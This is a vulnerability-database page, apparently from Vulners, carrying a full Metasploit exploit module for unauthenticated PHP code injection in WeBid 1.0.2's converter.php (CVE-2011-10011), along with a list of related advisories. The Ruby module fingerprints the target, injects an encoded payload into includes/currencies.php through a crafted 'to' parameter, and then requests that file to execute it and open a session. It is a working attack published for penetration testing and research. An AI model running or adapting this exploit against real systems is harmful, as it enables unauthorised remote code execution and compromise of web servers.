Lucene search
+L

WeBid converter.php Remote PHP Code Injection

🗓️ 05 Jul 2011 00:00:00Reported by EgiX, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 26 Views

This module exploits a vulnerability found in WeBid version 1.0.2. By abusing the converter.php file, a malicious user can inject PHP code in the includes/currencies.php script without any authentication, which results in arbitrary code execution

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2011-10011
13 Aug 202520:55
attackerkb
circl
Circl
CVE-2011-10011
29 May 201815:50
circl
cnnvd
CNNVD
Sourceforge WeBid 安全漏洞
13 Aug 202500:00
cnnvd
cve
CVE
CVE-2011-10011
13 Aug 202520:55
cve
cvelist
Cvelist
CVE-2011-10011 WeBid 1.0.2 converter.php Remote PHP Code Injection
13 Aug 202520:55
cvelist
euvd
EUVD
EUVD-2011-5238
7 Oct 202500:30
euvd
nvd
NVD
CVE-2011-10011
13 Aug 202521:15
nvd
ptsecurity
Positive Technologies
PT-2025-33080 · Webid · Webid
13 Aug 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2011-10011
15 Aug 202521:29
redhatcve
vulnrichment
Vulnrichment
CVE-2011-10011 WeBid 1.0.2 converter.php Remote PHP Code Injection
13 Aug 202520:55
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WeBid converter.php Remote PHP Code Injection',
        'Description' => %q{
          This module exploits a vulnerability found in WeBid version 1.0.2.
          By abusing the converter.php file, a malicious user can inject PHP code
          in the includes/currencies.php script without any authentication, which
          results in arbitrary code execution.
        },
        'Author' => [
          'EgiX', # Vulnerability Discovery, PoC
          'juan vazquez' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2011-10011' ],
          [ 'OSVDB', '73609' ],
          [ 'EDB', '17487' ],
          [ 'URL', 'http://web.archive.org/web/20230206230259/http://www.webidsupport.com/forums/showthread.php?3892' ]
        ],
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Payload' => {},
        'DisclosureDate' => '2011-07-05',
        'Targets' => [
          [ 'WeBid 1.0.2 / Ubuntu', {} ]
        ],
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
              stdapi_fs_delete_file
              stdapi_fs_getwd
              stdapi_fs_search
            ]
          }
        },
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to WeBid', '/WeBid'])
      ], self.class
    )

    self.needs_cleanup = true
  end

  def check
    uri = target_uri.path
    uri << '/' if uri[-1, 1] != '/'

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, "docs/changes.txt")
    })

    if res and res.code == 200 and res.body =~ /1\.0\.2 \- 17\/01\/11/
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri + "converter.php"
    })

    if res and res.code == 200 and res.body =~ /WeBId.*CURRENCY CONVERTER/
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def on_new_session(client)
    peer = "#{client.peerhost}:#{client.peerport}"

    if client.type != "meterpreter"
      print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
      print_error("The currencies.php won't be restored automatically.")
      return
    end

    # stdapi must be loaded before we can use fs.file
    client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

    # Original currencies.php file
    currencies_php = <<-eof
      <?php
      $conversionarray[] = '1265375103';
      $conversionarray[] = array(
        array('from' => 'GBP', 'to' => 'AED', 'rate' => '')
      );
      ?>
    eof
    currencies_php = currencies_php.gsub(/^ {6}/, '')

    pwd = client.fs.dir.pwd
    print_status("Searching currencies.php file from #{pwd}")

    res = client.fs.file.search(nil, "currencies.php", true, -1)
    res.each do |hit|
      filename = "#{hit['path']}/#{hit['name']}"
      print_warning("Restoring #{filename}")
      client.fs.file.rm(filename)
      fd = client.fs.file.new(filename, "wb")
      fd.write(currencies_php)
      fd.close
    end

    print_status("Cleanup finished")
  end

  def exploit
    uri = target_uri.path
    uri << '/' if uri[-1, 1] != '/'
    peer = "#{rhost}:#{rport}"

    stub = "\0'));#{payload.encoded}?>"

    print_status("Injecting the PHP payload")

    response = send_request_cgi({
      'uri' => normalize_uri(uri, "converter.php"),
      'method' => "POST",
      'vars_post' => {
        "action" => "convert",
        "from" => "USD",
        "to" => stub
      }
    })

    if response and response.code != 200
      print_error("Server returned non-200 status code (#{response.code})")
      return
    end

    print_status("Executing the PHP payload")

    timeout = 0.01
    response = send_request_cgi({
      'uri' => normalize_uri(uri, "includes/currencies.php"),
      'method' => "GET",
      'headers' => {
        'Connection' => "close",
      }
    }, timeout)

    if response and response.code != 200
      print_error("Server returned non-200 status code (#{response.code})")
    end

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Jul 2011 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 410
EPSS0.01704
SSVC
26